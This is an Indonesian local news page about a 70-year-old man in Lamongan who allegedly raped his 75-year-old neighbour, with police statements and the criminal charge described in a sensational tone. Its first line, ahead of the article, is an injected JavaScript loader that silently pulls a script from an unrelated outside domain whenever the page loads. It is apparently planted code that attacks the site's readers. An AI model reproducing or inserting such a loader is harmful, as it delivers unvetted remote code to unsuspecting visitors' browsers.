(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, LAMONGAN – Tua tua keladi, makin tua makin menjadi. Seorang kakek bau tanah di Lamongan berinisial RAS (70) nekat memperkosa nenek berusia 75 tahun.
Parahnya, korban merupakan tetaggannya sendiri. Aksi bejat si kakek itu terkuak saat korban teriak minta tolong kemudian tepergok oleh anak korban.
Peristiwa itu bermula saat MAS, anak korban, mendengar jeritan ibunya KAR (75) di dalam rumah di Desa Sidomukti Kecamatan Berondong Lamongan. Seketika itu perempuan berusia 51 tahun beranjak ke sumber suara.
Namun saat hendak ke rumah ibunya itu, MAS melihat ada sepeda ontel yang diduga milik pelaku terparkir rapi di depan rumah. Ia sudah menduga, jika rumah ibunya didatangi tamu yang telah berbuat jahat.
Baca juga: Walhi Kalsel Sorot Tragedi Lingkungan Pergeseran Tanah Lingkar Tambang di Tapin
“Anak korban mendengar suara ibunya minta tolong. Dia mendengar ibunya berteriak jangan, jangan, sudah, sudah,” kata Kasat Reskrim Polres Lamongan AKP Yoan Septi Hendri, Sabtu (31/7/2021).
Setelah itu, anak korban memasuki kamar dan melihat perbuatan yang tak pantas dilakukan kakek berusia 70 tahun. Atas kejadian itu, ia akhirnya membawa kasus ini ke permasalahan hukum.
Baca juga: Tak Bisa Gelar Lomba 17-an, Warga Sungai Tabuk Pasang Umbul-umbul dan Bendera di Sepanjang Jalan
Kakek yang juga tetangannya itu dilaporkan ke polisi dengan tuduhan melakukan pemerkosaan. “Melihat hal tersebut anak korban kaget dan berteriak meminta tolong kepada warga sekitar,” ujarnya.
Saat diamankan RAS tidak bisa berbuat apa-apa. Ia hanya pasrah dan meratapi nasib sisa hidup di penjara. Mengingat usia pelaku juga tidak lagi muda. Sedangkan di hadapan polisi, pelaku mengaku khilaf melakukan perbuatan tersebut.
“Terlapor mengaku kepada petugas bahwa telah memperkosa korban karena khilaf kemudian petugas membawa terlapor ke Polres Lamongan,” ujarnya.
Atas perbuatannya tersangka akan dijerat dengan Pasal 285 KUHP tentang tindakan atau perbuatan laki-laki yang memaksa perempuan agar mau bersetubuh dengannya di luar perkawinan dengan menggunakan kekerasan atau ancaman kekerasan, dengan ancaman hukum penjara selama 12 tahun. (Suara)
Editor: suara
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More
KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More
KANALKALIMANTAN.COM, CILEGON - Wakil Menteri Badan Usaha Milik Negara (BUMN) Aminuddin Ma’ruf memastikan infrastruktur Stasiun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sesosok jasad lelaki tak bernyawa ditemukan tergeletak di pinggir jalan depan kantor… Read More
This website uses cookies.